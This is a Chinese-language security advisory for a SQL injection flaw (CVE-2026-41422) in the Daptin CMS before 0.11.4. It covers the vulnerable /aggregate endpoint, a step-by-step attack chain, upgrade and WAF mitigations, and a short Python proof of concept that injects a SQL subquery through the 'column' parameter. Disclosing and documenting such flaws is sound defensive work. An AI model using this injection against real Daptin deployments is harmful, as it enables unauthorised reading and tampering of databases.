CVE-2026-41422 CVSS 8.3 高危

CVE-2026-41422 Daptin SQL注入漏洞

披露日期: 2026-05-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-41422

漏洞类型

SQL注入

CVSS评分

8.3 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Daptin

漏洞概述

Daptin是一个基于GraphQL和JSON-API的无头CMS。在0.11.4版本之前，系统存在严重的SQL注入漏洞。具体问题出在/aggregate/:typename端点，该接口在处理column和group查询参数时，未进行任何验证便将其直接传递给goqu.L()原始SQL构建器。这一设计缺陷绕过了标准的参数化查询机制，使得任何拥有有效会话的认证用户都能注入恶意SQL代码，进而可能窃取敏感数据或破坏数据库完整性。

技术细节

该漏洞的根源在于Daptin对用户输入的处理缺乏充分的净化。在旧版本中，开发者使用了数据库查询构建器goqu中的L()函数来构造SQL语句中的特定部分。虽然查询构建器通常能防止注入，但goqu.L()被设计用于直接插入原始SQL片段。当攻击者向/aggregate/:typename接口发送请求时，可以通过构造特定的column或group参数（例如包含UNION SELECT或布尔盲注语句），将这些恶意载荷直接拼接到最终的SQL查询中执行。由于系统仅要求用户已认证，且未对这部分输入进行转义或白名单检查，攻击者可以利用该漏洞读取数据库中的任意表数据，甚至在某些情况下执行写入操作，完全控制后端数据库。

攻击链分析

STEP 1

侦察与信息收集

识别目标系统是否使用Daptin CMS，并确认版本号低于0.11.4。

STEP 2

获取认证凭证

注册或获取一个有效的低权限用户账号，建立会话（Session）。

STEP 3

构造恶意请求

向/aggregate/:typename端点发送GET请求，在column或group参数中注入SQL语句（如UNION SELECT）。

STEP 4

执行注入攻击

由于参数未经过滤直接传递给goqu.L()，恶意SQL语句在数据库中执行。

STEP 5

数据窃取与破坏

根据注入的SQL语句，读取敏感数据（如用户密码哈希）或修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# PoC for CVE-2026-41422
# Target: Daptin < 0.11.4
# Description: SQL Injection via /aggregate/:typename endpoint

target_url = "http://target-domain.com/aggregate/users"

# Malicious payload to inject raw SQL via the 'column' parameter
# Example: attempting to extract database version
payload = "1,(SELECT version())"

params = {
    "column": payload
}

# Authentication is required (PR:L)
cookies = {
    "session": "valid_low_privilege_session_cookie"
}

try:
    response = requests.get(target_url, params=params, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check response for SQL output.")
        print(response.text)
    else:
        print("[-] Request failed")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Daptin < 0.11.4

防御指南

临时缓解措施

建议立即将Daptin升级至0.11.4或更高版本以修复此漏洞。如果无法立即升级，应通过网络ACL严格限制对/aggregate端点的访问，仅允许受信任的IP访问，并在Web应用防火墙（WAF）中部署规则，检测并阻断针对column和group参数的SQL注入攻击尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表